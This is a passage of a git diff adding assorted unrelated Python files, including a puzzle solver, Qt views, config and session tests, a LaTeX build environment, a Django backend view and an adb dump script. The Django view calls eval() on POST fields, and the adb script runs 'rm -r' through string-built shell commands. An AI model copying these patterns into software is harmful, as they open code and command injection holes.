self.env.ref('base.group_partner_manager') + grp_partner_mgrs.users = [(6, 0, wizard.user_ids.ids)] + + return {'type': 'ir.actions.act_window_close'} diff --git a/pool/shard009/Python/0080720_solver.py b/pool/shard009/Python/0080720_solver.py new file mode 100644 index 0000000000000000000000000000000000000000..34af9a35e521dbb5812ed244f913f65a1c78411b --- /dev/null +++ b/pool/shard009/Python/0080720_solver.py @@ -0,0 +1,88 @@ +import model.piece +import model.puzzle +import cv2 +import argparse +import os +import re +import placer +import shifter +import numpy + +# ispiecere = re.compile("^\d*_\d*_\d*\..*") +ispiecere = re.compile("^\d*_\d*b\..*") + + +def main(): + args = parse_args() + puzzle = loadpuzzle(args.imagesdirectory) + solve(puzzle) + print puzzle + cv2.waitKey(0) + cv2.destroyAllWindows() + if puzzle.video is not None: + puzzle.video.release() + + +def solve(puzzle): + oldsol = None + sol = None + i = 0 + while True: + i += 1 + placer.place(puzzle) + sol = numpy.copy(puzzle.sol) + moved = shifter.shift(puzzle) + if not moved: + break + if puzzle.hasonlyonesegment(): + break + if oldsol is not None: + if (oldsol == puzzle.sol).all(): + break + if i > 100: + break + oldsol = numpy.copy(puzzle.sol) + return sol + +def loadpuzzle(imagedir): + pieces = [] + idnum = 0 + files = os.listdir(imagedir) + orig = None + for filename in files: + if ispiece(filename): + pieces.append(loadpiece(imagedir, filename, idnum)) + idnum += 1 + if filename == "orig.png": + orig = cv2.imread(os.path.join(imagedir, filename)) + + return model.puzzle.Puzzle(pieces, orig, 3, 2, os.path.join(imagedir, "video.avi")) + # return model.puzzle.Puzzle(pieces, orig) + + +def loadpiece(imagedir, filename, idnum=-1): + # piecedata = getpiecedata(filename) + image = cv2.imread(os.path.join(imagedir, filename)) + #image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV) + return model.piece.Piece(image, idnum) + + +def getpiecedata(filename): + name, ext = os.path.splitext(filename) + name = name.replace('b', '') + return re.split("_", name) + + +def ispiece(filename): + return ispiecere.match(filename) is not None + + +def parse_args(): + parser = argparse.ArgumentParser() + parser.add_argument("imagesdirectory") + args = parser.parse_args() + return args + + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0080723_corkView.py b/pool/shard009/Python/0080723_corkView.py new file mode 100644 index 0000000000000000000000000000000000000000..864a02a06f463d6a4458667f9bdd30c9360bf74c --- /dev/null +++ b/pool/shard009/Python/0080723_corkView.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python +# --!-- coding: utf8 --!-- +from PyQt5.QtWidgets import QListView + +from manuskript import settings +from manuskript.functions import findBackground +from manuskript.ui.views.corkDelegate import corkDelegate +from manuskript.ui.views.dndView import dndView +from manuskript.ui.views.outlineBasics import outlineBasics + + +class corkView(QListView, dndView, outlineBasics): + def __init__(self, parent=None): + QListView.__init__(self, parent) + dndView.__init__(self, parent) + outlineBasics.__init__(self, parent) + + self.setResizeMode(QListView.Adjust) + self.setWrapping(True) + self.setItemDelegate(corkDelegate()) + self.setSpacing(5) + self.setVerticalScrollMode(self.ScrollPerPixel) + self.setFlow(self.LeftToRight) + self.setSelectionBehavior(self.SelectRows) + self.updateBackground() + + def updateBackground(self): + if settings.corkBackground["image"] != "": + img = findBackground(settings.corkBackground["image"]) + if img == None: + img = "" + else: + # No background image + img = "" + self.setStyleSheet("""QListView {{ + background:{color}; + background-image: url({url}); + background-attachment: fixed; + }}""".format( + color=settings.corkBackground["color"], + url=img.replace("\\", "/") + )) + + def dragMoveEvent(self, event): + dndView.dragMoveEvent(self, event) + QListView.dragMoveEvent(self, event) + + def mouseReleaseEvent(self, event): + QListView.mouseReleaseEvent(self, event) + outlineBasics.mouseReleaseEvent(self, event) + + def mouseDoubleClickEvent(self, event): + if self.selectedIndexes() == []: + idx = self.rootIndex() + parent = idx.parent() + + from manuskript.functions import MW + MW.openIndex(parent) + #self.setRootIndex(parent) + else: + r = QListView.mouseDoubleClickEvent(self, event) diff --git a/pool/shard009/Python/0080724_about.py b/pool/shard009/Python/0080724_about.py new file mode 100644 index 0000000000000000000000000000000000000000..aca9963a7ac62b6a69b9d04334b76829454ab038 --- /dev/null +++ b/pool/shard009/Python/0080724_about.py @@ -0,0 +1,12 @@ +# -*- coding: utf-8 -*- +from qgis.PyQt import uic, QtWidgets +import os + +FORM_CLASS, _ = uic.loadUiType(os.path.join(os.path.dirname(__file__), 'about.ui')) + +class About(QtWidgets.QDialog, FORM_CLASS): + + def __init__(self): + """Constructor.""" + super(About, self).__init__() + self.setupUi(self) diff --git a/pool/shard009/Python/0080725_test_config.py b/pool/shard009/Python/0080725_test_config.py new file mode 100644 index 0000000000000000000000000000000000000000..c1f346dff9a6d158280e225bed3e5bda827c3fa1 --- /dev/null +++ b/pool/shard009/Python/0080725_test_config.py @@ -0,0 +1,136 @@ +from pathlib import Path + +import pytest +from pydantic import ValidationError +from pytest_toolbox import mktree + +from harrier.config import get_config + + +def test_ok(tmpdir): + mktree(tmpdir, {'pages': {}, 'theme/templates/main.jinja': '{{ content }}'}) + + config = get_config(tmpdir) + assert config.pages_dir == Path(tmpdir.join('pages')) + assert not config.webpack.run + + +def test_ok_file(tmpdir): + mktree(tmpdir, {'pages': {}, 'theme/templates/main.jinja': '{{ content }}', 'harrier.yml': 'foo: bar'}) + + config = get_config(tmpdir.join('harrier.yml')) + assert config.pages_dir == Path(tmpdir.join('pages')) + assert not config.webpack.run + + +def test_no_theme_dir(tmpdir): + mktree( + tmpdir, + { + 'pages': {'foo.md': '# foo', 'bar.html': '{{ 4|add_one }} {{ config.dynamic }}'}, + 'theme': {}, + 'harrier.yml': 'default_template: main.jinja', + }, + ) + + with pytest.raises(ValidationError) as exc_info: + get_config(tmpdir) + assert 'does not exist' in str(exc_info.value) + assert 'is not a directory' not in str(exc_info.value) + + +def test_no_pages(tmpdir): + with pytest.raises(ValidationError) as exc_info: + get_config(tmpdir) + assert 'does not exist' in str(exc_info.value) + assert 'is not a directory' not in str(exc_info.value) + + +def test_pages_not_dir(tmpdir): + mktree(tmpdir, {'pages': '*'}) + + with pytest.raises(ValidationError) as exc_info: + get_config(tmpdir) + assert 'does not exist' not in str(exc_info.value) + assert 'is not a directory' in str(exc_info.value) + + +def test_dist_dir_no_parent(tmpdir): + mktree( + tmpdir, + { + 'pages': {}, + 'theme/templates/main.jinja': '{{ content }}', + 'harrier.yml': f'dist_dir: {tmpdir.join("foo/bar")}', + }, + ) + + with pytest.raises(ValidationError) as exc_info: + get_config(tmpdir) + assert 'parent directory does not exist' in str(exc_info.value) + assert 'is not a directory' not in str(exc_info.value) + + +def test_dist_dir_not_dir(tmpdir): + mktree(tmpdir, {'dist': 'foobar', 'pages': {}, 'theme/templates/main.jinja': '{{ content }}'}) + + with pytest.raises(ValidationError) as exc_info: + get_config(tmpdir) + assert 'is not a directory' in str(exc_info.value) + assert 'parent directory does not exist' not in str(exc_info.value) + + +def test_extensions_not_dir(tmpdir): + mktree(tmpdir, {'pages': {}, 'theme/templates/main.jinja': '{{ content }}', 'extensions.py': {}}) + + with pytest.raises(ValidationError) as exc_info: + get_config(tmpdir) + assert '"extensions" should be a python file, not directory' in str(exc_info.value) + + +def test_webpack_ok(tmpdir, caplog): + mktree( + tmpdir, + { + 'pages': {}, + 'theme': {'templates': {'main.jinja': '{{ content }}'}, 'js/index.js': '*'}, + 'mock_webpack': '*', + 'harrier.yml': 'webpack:\n cli: mock_webpack', + }, + ) + + config = get_config(tmpdir) + assert config.webpack.run + assert 'webpack entry point' not in caplog.text + + +def test_webpack_no_entry(tmpdir, caplog): + mktree( + tmpdir, + { + 'pages': {}, + 'theme/templates/main.jinja': '{{ content }}', + 'mock_webpack': '*', + 'harrier.yml': 'webpack:\n cli: mock_webpack', + }, + ) + + config = get_config(tmpdir) + assert not config.webpack.run + assert 'webpack entry point' in caplog.text + + +def test_webpack_missing_config(tmpdir): + mktree( + tmpdir, + { + 'pages': {}, + 'theme': {'templates': {'main.jinja': '{{ content }}'}, 'js/index.js': '*'}, + 'mock_webpack': '*', + 'harrier.yml': 'webpack:\n cli: mock_webpack\n config: missing\n', + }, + ) + + with pytest.raises(ValidationError) as exc_info: + get_config(tmpdir) + assert 'webpack config set but does not exist' in str(exc_info.value) diff --git a/pool/shard009/Python/0080726_tests.py b/pool/shard009/Python/0080726_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..09cd1defae44574c09cfd5712e6badf94c6453bf --- /dev/null +++ b/pool/shard009/Python/0080726_tests.py @@ -0,0 +1,185 @@ +# -*- coding: utf-8 -*- +from django.contrib.auth.models import AnonymousUser, User +from django.db import IntegrityError + +from mock import Mock, patch +from nose.tools import eq_ +from pyquery import PyQuery as pq + +import amo +from amo.tests import TestCase +from users.models import UserProfile +from .backends import SessionBackend +from .models import Session +from .helpers import cake_csrf_token, remora_url + + +class CakeTestCase(TestCase): + + fixtures = ['cake/sessions', 'base/global-stats'] + + def test_cookie_cleaner(self): + "Test that this removes locale-only cookie." + c = self.client + c.cookies['locale-only'] = 'XENOPHOBIA 4 EVAR' + r = c.get('/', follow=True) + eq_(r.cookies.get('locale-only'), None) + + def test_login(self): + """ + Given a known remora cookie, can we visit the homepage and appear + logged in? + """ + profile = UserProfile.objects.get(pk=1) + # log in using cookie - + client = self.client + client.cookies['AMOv3'] = "17f051c99f083244bf653d5798111216" + r = client.get('/en-US/firefox/') + eq_(pq(r.content.decode('utf-8'))('.account .user').text(), + profile.display_name) + eq_(pq(r.content)('.account .user').attr('title'), profile.email) + + # test that the data copied over correctly. + profile = UserProfile.objects.get(pk=1) + user = profile.user + + self.assertEqual(profile.email, user.username) + self.assertEqual(profile.email, user.email) + self.assertEqual(profile.created, user.date_joined) + self.assertEqual(profile.password, user.password) + self.assertEqual(profile.id, user.id) + + def test_stale_session(self): + # what happens if the session we reference is expired + session = Session.objects.get(pk='27f051c99f083244bf653d5798111216') + self.assertEqual(False, self.client.login(session=session)) + # check that it's no longer in the db + f = lambda: Session.objects.get(pk='27f051c99f083244bf653d5798111216') + self.assertRaises(Session.DoesNotExist, f) + + def test_invalid_session_reference(self): + self.assertEqual(False, self.client.login(session=Session(pk='abcd'))) + + def test_invalid_session_data(self): + # what happens if the session we reference refers to a missing user + session = Session.objects.get(pk='37f051c99f083244bf653d5798111216') + self.assertEqual(False, self.client.login(session=session)) + # check that it's no longer in the db + f = lambda: Session.objects.get(pk='37f051c99f083244bf653d5798111216') + self.assertRaises(Session.DoesNotExist, f) + + def test_broken_session_data(self): + """Bug 553397""" + backend = SessionBackend() + session = Session.objects.get(pk='17f051c99f083244bf653d5798111216') + session.data = session.data.replace('"', 'breakme', 5) + self.assertEqual(None, backend.authenticate(session=session)) + + def test_utf8_session_data(self): + """Bug 566377.""" + backend = SessionBackend() + session = Session.objects.get(pk='47f051c99f083244bf653d5798111216') + user = backend.authenticate(session=session) + assert user != None, "We should get a user." + + def test_backend_get_user(self): + s = SessionBackend() + self.assertEqual(None, s.get_user(12)) + + def test_middleware_invalid_session(self): + client = self.client + client.cookies['AMOv3'] = "badcookie" + response = client.get('/en-US/firefox/') + assert isinstance(response.context['user'], AnonymousUser) + + def test_logout(self): + # login with a cookie and verify we are logged in + client = self.client + client.cookies['AMOv3'] = "17f051c99f083244bf653d5798111216" + r = client.get('/en-US/firefox/') + profile = UserProfile.objects.get(pk=1) + eq_(pq(r.content.decode('utf-8'))('.account .user').text(), + profile.display_name) + eq_(pq(r.content)('.account .user').attr('title'), profile.email) + # logout and verify we are logged out and our AMOv3 cookie is gone + r = client.get('/en-US/firefox/users/logout') + r = client.get('/en-US/firefox/') + + assert isinstance(r.context['user'], AnonymousUser) + self.assertEqual(client.cookies.get('AMOv3').value, '') + + @patch('django.db.models.fields.related.' + 'ReverseSingleRelatedObjectDescriptor.__get__') + def test_backend_profile_exceptions(self, p_mock): + # We have a legitimate profile, but for some reason the user_id is + # phony. + s = SessionBackend() + session = Session.objects.get(pk='17f051c99f083244bf653d5798111216') + + p_mock.side_effect = User.DoesNotExist() + eq_(None, s.authenticate(session)) + + p_mock.side_effect = IntegrityError() + eq_(None, s.authenticate(session)) + + p_mock.side_effect = Exception() + eq_(None, s.authenticate(session)) + + +class TestHelpers(TestCase): + + fixtures = ['cake/sessions'] + + def test_csrf_token(self): + mysessionid = "17f051c99f083244bf653d5798111216" + + s = SessionBackend() + session = Session.objects.get(pk=mysessionid) + user = s.authenticate(session=session) + + request = Mock() + request.user = user + request.COOKIES = {'AMOv3': mysessionid} + ctx = {'request': request} + + doc = pq(cake_csrf_token(ctx)) + self.assert_(doc.html()) + self.assert_(doc('input').attr('value')) + + def test_csrf_token_nosession(self): + """No session cookie, no Cake CSRF token.""" + mysessionid = "17f051c99f083244bf653d5798111216" + + s = SessionBackend() + session = Session.objects.get(pk=mysessionid) + user = s.authenticate(session=session) + + request = Mock() + request.user = user + request.COOKIES = {} + ctx = {'request': request} + + token = cake_csrf_token(ctx) + assert not token + + def test_remora_url(self): + """Build remora URLs.""" + ctx = { + 'LANG': 'en-us', + 'APP': amo.FIREFOX} + url = remora_url(ctx, '/addon/1234') + eq_(url, '/en-US/firefox/addon/1234') + + url = remora_url(ctx, '/addon/1234', 'pt-BR', 'thunderbird') + eq_(url, '/pt-BR/thunderbird/addon/1234') + + url = remora_url(ctx, '/devhub/something', app='', prefix='remora') + eq_(url, '/remora/en-US/devhub/something') + + # UTF-8 strings + url = remora_url(ctx, u'/tags/Hallo und tschüß') + eq_(url, '/en-US/firefox/tags/Hallo%20und%20tsch%C3%BC%C3%9F') + + # Trailing slashes are kept if present. + eq_(remora_url(ctx, '/foo'), '/en-US/firefox/foo') + eq_(remora_url(ctx, '/foo/'), '/en-US/firefox/foo/') diff --git a/pool/shard009/Python/0080727_gyptest-macro-projectname.py b/pool/shard009/Python/0080727_gyptest-macro-projectname.py new file mode 100644 index 0000000000000000000000000000000000000000..a4aed53289b7ad76ea029add07d47c84d0ab6038 --- /dev/null +++ b/pool/shard009/Python/0080727_gyptest-macro-projectname.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +# Copyright (c) 2012 Google Inc. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +""" +Make sure macro expansion of $(ProjectName) is handled. +""" + +import TestGyp + +import sys + +if sys.platform == 'win32': + test = TestGyp.TestGyp(formats=['msvs', 'ninja']) + + CHDIR = 'vs-macros' + test.run_gyp('projectname.gyp', chdir=CHDIR) + test.build('projectname.gyp', test.ALL, chdir=CHDIR) + test.built_file_must_exist('test_expansions_plus_something.exe', chdir=CHDIR) + test.built_file_must_exist( + 'test_with_product_name_plus_something.exe', chdir=CHDIR) + test.pass_test() diff --git a/pool/shard009/Python/0080728_environment.py b/pool/shard009/Python/0080728_environment.py new file mode 100644 index 0000000000000000000000000000000000000000..969139a80d12617cbb10f35533511826d382ae49 --- /dev/null +++ b/pool/shard009/Python/0080728_environment.py @@ -0,0 +1,198 @@ +# This file is part of Rubber and thus covered by the GPL +# (c) Emmanuel Beffara, 2002--2006 +# vim: noet:ts=4 +""" +This module contains the code for formatted message output (the Message class) +and the class Environment, which contains all information about a given +building process. +""" + +import os, os.path, sys, subprocess, thread +import re, string +from subprocess import Popen + +from rubber.util import _ +from rubber.util import * +import rubber.converters +import rubber.depend +from rubber.convert import Converter + +re_kpse = re.compile("kpathsea: Running (?P[^ ]*).* (?P[^ ]*)$") + +class Environment: + """ + This class contains all state information related to the building process + for a whole document, the dependency graph and conversion rules. + """ + def __init__ (self, cwd=None): + """ + Initialize the environment. The optional argument is the path to the + reference directory for compilation, by default it is the current + working directory. + """ + self.kpse_msg = { + "mktextfm" : _("making font metrics for \\g"), + "mktexmf" : _("making font \\g"), + "mktexpk" : _("making bitmap for font \\g") + } + + if cwd is None: cwd = os.getcwd() + self.vars = Variables(items = { 'cwd': cwd, '_environment': self }) + self.path = [cwd] + self.conv_prefs = {} + + # Represents a set of dependency nodes. Nodes can be accessed by absolute + # path name using the dictionary interface. + self.depends = dict() + self.converter = Converter(self.depends) + self.converter.read_ini (os.path.join (rubber.__path__[0], 'rules.ini')) + + self.is_in_unsafe_mode_ = False + self.doc_requires_shell_ = False + self.synctex = False + self.main = None + self.final = None + + def find_file (self, name, suffix=None): + """ + Look for a source file with the given name, and return either the + complete path to the actual file or None if the file is not found. + The optional argument is a suffix that may be added to the name. + """ + for path in self.path: + test = os.path.join(path, name) + if suffix and os.path.exists(test + suffix) and os.path.isfile(test + suffix): + return test + suffix + elif os.path.exists(test) and os.path.isfile(test): + return test + return None + + def conv_set (self, file, vars): + """ + Define preferences for the generation of a given file. The argument + 'file' is the name of the target and the argument 'vars' is a + dictionary that contains imposed values for some variables. + """ + self.conv_prefs[file] = vars + + def convert (self, target, prefixes=[""], suffixes=[""], check=None, context=None): + """ + Use conversion rules to make a dependency tree for a given target + file, and return the final node, or None if the file does not exist + and cannot be built. The optional arguments 'prefixes' and 'suffixes' + are lists of strings that can be added at the beginning and the end of + the name when searching for the file. Prefixes are tried in order, and + for each prefix, suffixes are tried in order; the first file from this + order that exists or can be made is kept. The optional arguments + 'check' and 'context' have the same meaning as in + 'Converter.best_rule'. + """ + # Try all suffixes and prefixes until something is found. + + last = None + for t in [p + target + s for s in suffixes for p in prefixes]: + + # Define a check function, according to preferences. + + if self.conv_prefs.has_key(t): + prefs = self.conv_prefs[t] + def do_check (vars, prefs=prefs): + if prefs is not None: + for key, val in prefs.items(): + if not (vars.has_key(key) and vars[key] == val): + return 0 + return 1 + else: + prefs = None + do_check = check + + # Find the best applicable rule. + + ans = self.converter.best_rule(t, check=do_check, context=context) + if ans is not None: + if last is None or ans["cost"] < last["cost"]: + last = ans + + # Check if the target exists. + + if prefs is None and os.path.exists(t): + if last is not None and last["cost"] <= 0: + break + msg.log(_("`%s' is `%s', no rule applied") % (target, t)) + return rubber.depend.Leaf(self.depends, t) + + if last is None: + return None + msg.log(_("`%s' is `%s', made from `%s' by rule `%s'") % + (target, last["target"], last["source"], last["name"])) + return self.converter.apply(last) + + def may_produce (self, name): + """ + Return true if the given filename may be that of a file generated by + any of the converters. + """ + return self.converter.may_produce(name) + + def execute (self, prog, env={}, pwd=None, out=None, kpse=0): + """ + Silently execute an external program. The `prog' argument is the list + of arguments for the program, `prog[0]' is the program name. The `env' + argument is a dictionary with definitions that should be added to the + environment when running the program. The standard output is passed + line by line to the `out' function (or discarded by default). If the + optional argument `kpse' is true, the error output is parsed and + messages from Kpathsea are processed (to indicate e.g. font + compilation), otherwise the error output is kept untouched. + """ + msg.info(_("executing: %s") % string.join(prog)) + if pwd: + msg.log(_(" in directory %s") % pwd) + if env != {}: + msg.log(_(" with environment: %r") % env) + + progname = prog_available(prog[0]) + if not progname: + msg.error(_("%s not found") % prog[0]) + return 1 + + penv = os.environ.copy() + for (key,val) in env.items(): + penv[key] = val + + if kpse: + stderr = subprocess.PIPE + else: + stderr = None + + process = Popen(prog, + executable = progname, + env = penv, + cwd = pwd, + stdin = devnull(), + stdout = subprocess.PIPE, + stderr = stderr) + + if kpse: + def parse_kpse (): + for line in process.stderr: + line = line.rstrip() + match = re_kpse.match(line) + if not match: + continue + cmd = match.group("cmd") + if self.kpse_msg.has_key(cmd): + msg.progress(match.expand(self.kpse_msg[cmd])) + else: + msg.progress(_("kpathsea running %s") % cmd) + thread.start_new_thread(parse_kpse, ()) + + if out is not None: + for line in process.stdout: + out(line) + else: + process.stdout.readlines() + + ret = process.wait() + msg.log(_("process %d (%s) returned %d") % (process.pid, prog[0],ret)) + return ret diff --git a/pool/shard009/Python/0080730_views.py b/pool/shard009/Python/0080730_views.py new file mode 100644 index 0000000000000000000000000000000000000000..c4276dfeec15deb1c0591d1a73590d57e283f711 --- /dev/null +++ b/pool/shard009/Python/0080730_views.py @@ -0,0 +1,125 @@ +import time +from back import * +from pony.orm import db_session, commit +from django.contrib.auth.decorators import login_required +from django.views.decorators.cache import never_cache +from django.shortcuts import redirect, render +from django.contrib import messages +from django.contrib.auth import authenticate, login, logout +from django.contrib.auth.models import User +from django.http import HttpResponse +from django.views.decorators.csrf import ensure_csrf_cookie +from back import get_free_serial +import logging + +def back_view(request, content): + logger = logging.getLogger(__name__) + try: + context = {} + if content == '': + return HttpResponse('Void content', content_type="text/plain", status=400) + elif content == "change_password": + user = User.objects.get(username=request.user.username) + new_password = request.POST['new_password'] + user.set_password(new_password) + user.save() + return HttpResponse("ok", content_type="text/plain", status=200) + elif content == 'envelope': + message = request.POST['message'] + sender = request.POST['sender'] + receiver = request.POST['receiver'] + print('message: {} ({} > {})'.format(message, sender, receiver)) + with db_session: + Envelope(serial=get_free_serial(), text=message, sender=Profile.get(username=sender), receiver=Profile.get(username=receiver)) + elif content == 'delete': + print('back/delete POST:', request.POST) + serial = request.POST['serial'] + with db_session: + sget(serial).delete() + return HttpResponse('ok', content_type="text/plain", status=200) + elif content == 'edit': + print('back/edit POST:', request.POST) + serial = request.POST['serial'] + attr = request.POST['attr'] + attr_type = type_dict[attr] + value = request.POST['value'] + action = request.POST['action'] + with db_session: + if attr_type == 'float': + value = float(value) + elif attr_type == 'json': + value = eval(value) + elif attr_type in ['toone', 'tomany']: + value = sget(value) + if action in ['edit', 'change']: + setattr(sget(serial), attr, value) + elif action == 'add': + getattr(sget(serial), attr).add(value) + elif action == 'remove': + getattr(sget(serial), attr).remove(value) + return HttpResponse('ok', content_type="text/plain", status=200) + elif content == 'new': + print('back/new POST:', request.POST) + with db_session: + if request.POST['model']: + model = eval(request.POST['model']) + serial = get_free_serial() + model(serial=serial) + return HttpResponse(serial, content_type="text/plain", status=200) + elif request.POST['serial']: + old_serial = request.POST['serial'] + old_attr = request.POST['attr'] + old_model = sget(old_serial).classtype + + new_model = eval(str(type(getattr(sget(old_serial), old_attr))).split('core.')[1].split('Set')[0]) + new_serial = get_free_serial() + if old_attr == 'questions': + new_model(serial=new_serial, node=sget(old_serial), kind='generic') + else: + new_model(serial=new_serial) + return HttpResponse(new_serial, content_type="text/plain", status=200) + elif content == 'reledit': + print('back/reledit POST:', request.POST) + serial=request.POST['serial'] + attr = request.POST['attr'] + action = request.POST['action'] + value_serial = request.POST['value_serial'] + with db_session: + if actin == 'add': + getattr(sget(serial), attr).add(sget(value_serial)) + elif action == 'remove': + getattr(sget(serial), attr).remove(sget(value_serial)) + return HttpResponse('ok', content_type="text/plain", status=200) + elif content == 'submit': + with db_session: + if request.user.username: + profile = Profile.get(username=request.user.username) + else: + with open("debug_log.txt", "a") as f: + f.write("back/views.py submit missing user\n\n") + return HttpResponse("unauthenticated", content_type="text/plain", status=401) + question = Question.get(serial=request.POST['serial']) + answer = request.POST['answer'] + required = request.POST['required'] + print('back/submit', answer, [ option['text'] for option in question.options if option['accepted'] ]) + if answer in [ option['text'] for option in question.options if option['accepted'] ]: + print('correct answer') + nm = NodeMean.get(profile=profile, nodemean_node=question.node) + nm.history = 'A' + nm.history[:3] + if required=='True': + profile.requirements = profile.requirements[1:] + calculate_profile_mean(profile) + return HttpResponse('correct', content_type="text/plain", status=200) + else: + print('wrong answer') + nm = NodeMean.get(profile=profile, nodemean_node=question.node) + nm.history = 'R' + nm.history[:3] + calculate_profile_mean(profile) + return HttpResponse('wrong', content_type="text/plain", status=400) + + else: + return None + except Exception as e: + logger.error(e) + with open('debug_log.txt', 'a') as f: + f.write("back/views.py:\n{}\n\n".format(e)) diff --git a/pool/shard009/Python/0080733_test_auto_Automask.py b/pool/shard009/Python/0080733_test_auto_Automask.py new file mode 100644 index 0000000000000000000000000000000000000000..a31cc87cd9652d8e9137cf7e942f98aae0560cb0 --- /dev/null +++ b/pool/shard009/Python/0080733_test_auto_Automask.py @@ -0,0 +1,57 @@ +# AUTO-GENERATED by tools/checkspecs.py - DO NOT EDIT +from __future__ import unicode_literals +from ..preprocess import Automask + + +def test_Automask_inputs(): + input_map = dict(args=dict(argstr='%s', + ), + brain_file=dict(argstr='-apply_prefix %s', + name_source='in_file', + name_template='%s_masked', + ), + clfrac=dict(argstr='-clfrac %s', + ), + dilate=dict(argstr='-dilate %s', + ), + environ=dict(nohash=True, + usedefault=True, + ), + erode=dict(argstr='-erode %s', + ), + ignore_exception=dict(nohash=True, + usedefault=True, + ), + in_file=dict(argstr='%s', + copyfile=False, + mandatory=True, + position=-1, + ), + num_threads=dict(nohash=True, + usedefault=True, + ), + out_file=dict(argstr='-prefix %s', + name_source='in_file', + name_template='%s_mask', + ), + outputtype=dict(), + terminal_output=dict(deprecated='1.0.0', + nohash=True, + ), + ) + inputs = Automask.input_spec() + + for key, metadata in list(input_map.items()): + for metakey, value in list(metadata.items()): + assert getattr(inputs.traits()[key], metakey) == value + + +def test_Automask_outputs(): + output_map = dict(brain_file=dict(), + out_file=dict(), + ) + outputs = Automask.output_spec() + + for key, metadata in list(output_map.items()): + for metakey, value in list(metadata.items()): + assert getattr(outputs.traits()[key], metakey) == value diff --git a/pool/shard009/Python/0080739_Controller.py b/pool/shard009/Python/0080739_Controller.py new file mode 100644 index 0000000000000000000000000000000000000000..7891de34087c587f7a8fee957a14c99b42233681 --- /dev/null +++ b/pool/shard009/Python/0080739_Controller.py @@ -0,0 +1,106 @@ +import socket +import re + +class Controller: + + ctype = "p" + host = "localhost" + port = 6000 + server = "" + player = "" + player_types = [] + + # + # Constructor + # + + def __init__(self, c_type = "p"): + self.ctype = c_type + if self.ctype == "t": + self.port = 6001 + self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + + # + # Connect method + # only needs the host where the trainer will connect + # and initialize all the necessary information with + # the data received from the server + # + + def connect(self, host = "localhost", team = "phoenix"): + self.host = host + if self.ctype == "t": + self.sendMessage("(init (version 15.0))") + else: + self.sendMessage("(init " + team + " (version 15.0))") + print self.receiveMessage() + self.server = self.receiveMessage() + print "Server params done: '(string)server' member" + self.player = self.receiveMessage() + print "Player params done: '(string)player' member" + m = re.search("\\(player_types\\s(\\d+)\\)", self.player) + types = int(m.group(1)) + for i in range(types): + self.player_types.append(self.receiveMessage()) + print "Player types done: '(list)player_types' member" + if self.ctype == "t": + self.sendMessage("(eye on)") + else: + self.sendMessage("(synch_see)") + print self.receiveMessage() + + # + # Returns the current game time + # it is a blocking method which waits until a see_global or + # sense_body message is received. In consequence, some + # messages could get lost + + def cycle(self): + regex = "\\(see_global\\s(\\d+)\\s" + if self.ctype == "p": + regex = "\\(sense_body\\s(\\d+)\\s" + m = re.search(regex, self.receiveMessage()) + while m != None: + m = re.search(regex, self.receiveMessage()) + return int(m.group(1)) + + # + # Changes the current play mode to the play_mode provided in + # the argument, and prints the server response + # Blocking method + # + + def changeTo(self, play_mode): + self.sendMessage("(change_mode " + play_mode) + print self.receiveMessage() + + # + # Resets the stamina, effort and recovery params of all players + # in game, and prints the server response + # Blocking method + # + + def recover(): + self.sendMessage("(recover)") + print self.receiveMessage() + + # + # Disconnects from the server + # + + def disconnect(self): + self.sendMessage("(bye)") + self.sock.close() + + # + # Methods used only by the Controller class + # + + def sendMessage(self, msg): + msg = msg + '\0' + self.sock.sendto(msg, (self.host, self.port)) + + def receiveMessage(self): + data, addr = self.sock.recvfrom(4096) + self.port = addr[1] #update the port + return data \ No newline at end of file diff --git a/pool/shard009/Python/0080740_dbdump.py b/pool/shard009/Python/0080740_dbdump.py new file mode 100644 index 0000000000000000000000000000000000000000..0925da6106aee98f184cdd23116a2e6b32c80592 --- /dev/null +++ b/pool/shard009/Python/0080740_dbdump.py @@ -0,0 +1,256 @@ +__author__ = 'sohammondal' + +import sys +import commands +import re + +# helper functions +def exec_cmd(cmd): + ''' + execute the given command + :param cmd: the command to be execute + :return: + ''' + (status, output) = commands.getstatusoutput(cmd) + if status: + print 'Could not execute', cmd, sys.stderr + return False + return True + + +def find_all(pat, string): + ''' + Finds a regular expression match within a string + :param pat: the regex pattern to be matched + :param string: the string where to search + :return: the first group match within () + ''' + matches = re.findall(pat, string) + if matches: + return matches + else: + return None + + +def find(pat, string): + ''' + Finds a regular expression match within a string + :param pat: the regex pattern to be matched + :param string: the string where to search + :return: the first group match within () + ''' + match = re.search(pat, string) + if match: + return match.group(1) + else: + return None + + +def find_basic(pat, string): + ''' + Finds a regular expression match within a string + :param pat: the regex pattern to be matched + :param string: the string where to search + :return: the first group match within () + ''' + match = re.search(pat, string) + if match: + return match + else: + return None + + +def add_adb_device(devicename=None): + ''' + Adds a -s device param to the delete commandline in case the devicename is none + :param devicename: the name/id of the device + :return: + ''' + cmd = 'adb ' + if devicename: + cmd = cmd + '-s ' + devicename + ' ' + return cmd + +def del_folder(devicename, path): + ''' + delete files at a particular path + :param devicename: device + :param path: path to be deleted + :return: + ''' + # add device whenever necessary + cmd = add_adb_device(devicename) + # command for deleting the file + cmd = cmd + 'shell rm -r ' + new_cmd = cmd + path + (status, output) = commands.getstatusoutput(new_cmd) + if status: + print 'Could not delete', path, sys.stderr + return False + else: + return True + + +def pull_files(to_path='', from_path='', devicename=None): + ''' + copies the given files to a given path + :param to_path: the destination path + :param from_path: the source path + :param devicename: the device + :return: + ''' + # add device whenever necessary + cmd = add_adb_device(devicename) + # command for pulling a file + cmd = cmd + 'pull ' + new_cmd = cmd + from_path + ' ' + to_path + (status, output) = commands.getstatusoutput(new_cmd) + if status: + print 'Could not copy', from_path, sys.stderr + return False + return True + + +# App specific parse functions +def parse_app_package_name(argv=[]): + ''' + Parses the app package name + :param argv: + :return: + ''' + return argv[0] + + +def parse_destination_dir(argv=[]): + ''' + Parses the destination folder + :param argv: + :return: + ''' + if argv[0] == '--file' or argv[0] == '--device': + return '.' + else: + return argv[0] + + +def parse_db_files(argv=[]): + ''' + Parses the db files + :param argv: + :return: + ''' + db_files = [] + for idx, arg in enumerate(argv): + if arg == '--db': + try: + db_files.append(argv[idx + 1]) + except Exception: + pass + if db_files: + return db_files + + +def 